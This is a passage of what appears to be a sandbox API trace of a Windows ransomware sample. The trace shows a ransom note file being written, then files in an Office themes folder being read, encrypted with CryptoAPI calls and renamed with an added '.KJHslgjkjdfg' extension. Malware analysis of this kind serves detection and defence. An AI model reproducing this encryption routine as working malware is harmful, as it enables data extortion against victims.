(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.344] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.345] CloseHandle (hObject=0x118) returned 1 [0147.345] GetProcessHeap () returned 0x2a0000 [0147.346] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.346] GetProcessHeap () returned 0x2a0000 [0147.346] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.346] GetProcessHeap () returned 0x2a0000 [0147.346] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.346] GetProcessHeap () returned 0x2a0000 [0147.346] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.346] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.346] GetProcessHeap () returned 0x2a0000 [0147.346] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.346] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0147.346] GetProcessHeap () returned 0x2a0000 [0147.346] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2ef2d8 [0147.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.346] GetProcessHeap () returned 0x2a0000 [0147.347] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.347] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.347] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0147.347] GetProcessHeap () returned 0x2a0000 [0147.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28e) returned 0x2f32d0 [0147.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.348] GetProcessHeap () returned 0x2a0000 [0147.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.348] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.348] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.348] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.351] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.351] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.351] GetProcessHeap () returned 0x2a0000 [0147.351] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.351] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.351] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.351] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.351] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.351] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.351] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.351] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.352] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.352] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.352] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.352] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.352] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe2ec, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xe2ec, lpOverlapped=0x0) returned 1 [0147.354] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe2f0, dwBufLen=0xe2f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe2f0) returned 1 [0147.354] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.354] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe2f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xe2f0, lpOverlapped=0x0) returned 1 [0147.355] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.355] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xe3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.355] SetEndOfFile (hFile=0x118) returned 1 [0147.358] GetProcessHeap () returned 0x2a0000 [0147.358] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.358] GetProcessHeap () returned 0x2a0000 [0147.358] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.kjhslgjkjdfg")) returned 1 [0147.365] CloseHandle (hObject=0x118) returned 1 [0147.365] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0147.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.366] GetProcessHeap () returned 0x2a0000 [0147.366] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.366] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.366] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.366] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0147.368] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.368] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.368] GetProcessHeap () returned 0x2a0000 [0147.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.368] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.368] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.368] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.368] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.368] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.368] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.368] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.368] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.369] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.369] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.369] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.369] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x20e, lpOverlapped=0x0) returned 1 [0147.369] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x210, dwBufLen=0x210 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x210) returned 1 [0147.369] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.369] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x210, lpOverlapped=0x0) returned 1 [0147.369] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.369] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.369] SetEndOfFile (hFile=0x118) returned 1 [0147.372] GetProcessHeap () returned 0x2a0000 [0147.372] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.372] GetProcessHeap () returned 0x2a0000 [0147.372] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.kjhslgjkjdfg")) returned 1 [0147.377] CloseHandle (hObject=0x118) returned 1 [0147.377] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.378] GetProcessHeap () returned 0x2a0000 [0147.378] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.378] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.378] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.379] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0147.381] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.381] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.381] GetProcessHeap () returned 0x2a0000 [0147.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.381] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.381] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.381] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.381] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.381] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.381] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.382] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.382] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.382] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.382] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.382] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.382] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x563, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x563, lpOverlapped=0x0) returned 1 [0147.382] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x570, dwBufLen=0x570 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x570) returned 1 [0147.382] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.382] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x570, lpOverlapped=0x0) returned 1 [0147.382] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.382] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.382] SetEndOfFile (hFile=0x118) returned 1 [0147.385] GetProcessHeap () returned 0x2a0000 [0147.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.385] GetProcessHeap () returned 0x2a0000 [0147.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.389] CloseHandle (hObject=0x118) returned 1 [0147.389] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.389] GetProcessHeap () returned 0x2a0000 [0147.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.389] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.390] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.390] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0147.392] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.392] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.392] GetProcessHeap () returned 0x2a0000 [0147.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.392] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.392] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.392] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.392] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.392] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.392] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.392] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.393] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 